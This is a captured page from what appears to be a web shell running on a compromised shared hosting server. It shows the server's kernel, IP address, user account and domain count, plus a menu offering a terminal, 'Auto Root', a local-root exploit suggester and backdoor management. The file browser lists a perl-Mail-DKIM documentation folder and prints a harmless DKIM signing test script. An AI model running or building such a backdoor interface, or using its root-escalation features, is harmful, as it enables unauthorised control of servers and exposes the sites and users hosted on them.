Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.105
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-Mail-DKIM /
Delete
Unzip
Name
Size
Permission
Date
Action
doc
[ DIR ]
drwxr-xr-x
2025-02-25 04:07
Changes
63.22
KB
-rw-r--r--
2020-09-07 05:49
HACKING.DKIM
4.62
KB
-rw-r--r--
2020-09-07 05:49
README.md
2.15
KB
-rw-r--r--
2020-09-07 05:49
TODO
4.2
KB
-rw-r--r--
2020-09-07 05:49
arcsign.pl
3.32
KB
-rw-r--r--
2020-09-07 05:49
arcverify.pl
3.27
KB
-rw-r--r--
2022-02-16 11:02
dkimsign.pl
3.9
KB
-rw-r--r--
2020-09-07 05:49
dkimverify.pl
2.26
KB
-rw-r--r--
2020-09-07 05:49
sample_mime_lite.pl
1.71
KB
-rw-r--r--
2020-09-07 05:49
test_bare_rsa_sha1.pl
348
B
-rw-r--r--
2020-09-07 05:49
test_canonicalization.pl
1.45
KB
-rw-r--r--
2020-09-07 05:49
test_nowsp_rsa_sha1.pl
508
B
-rw-r--r--
2020-09-07 05:49
Save
Rename
#!/usr/bin/perl -I../../.. use strict; use warnings; use Mail::DKIM::Algorithm::rsa_sha1; use Mail::DKIM::Canonicalization::nowsp; unless (-f "private.key") { die "File not found: private.key\n"; } tie *rsa_sha1, "Mail::DKIM::Algorithm::rsa_sha1", "KeyFile" => "private.key"; my $nowsp = new Mail::DKIM::Canonicalization::nowsp( output_fh => *rsa_sha1); while (<STDIN>) { chomp; $nowsp->PRINT("$_\015\012"); } $nowsp->CLOSE; my $rsa_sha1 = tied *rsa_sha1; print $rsa_sha1->sign; print "\n";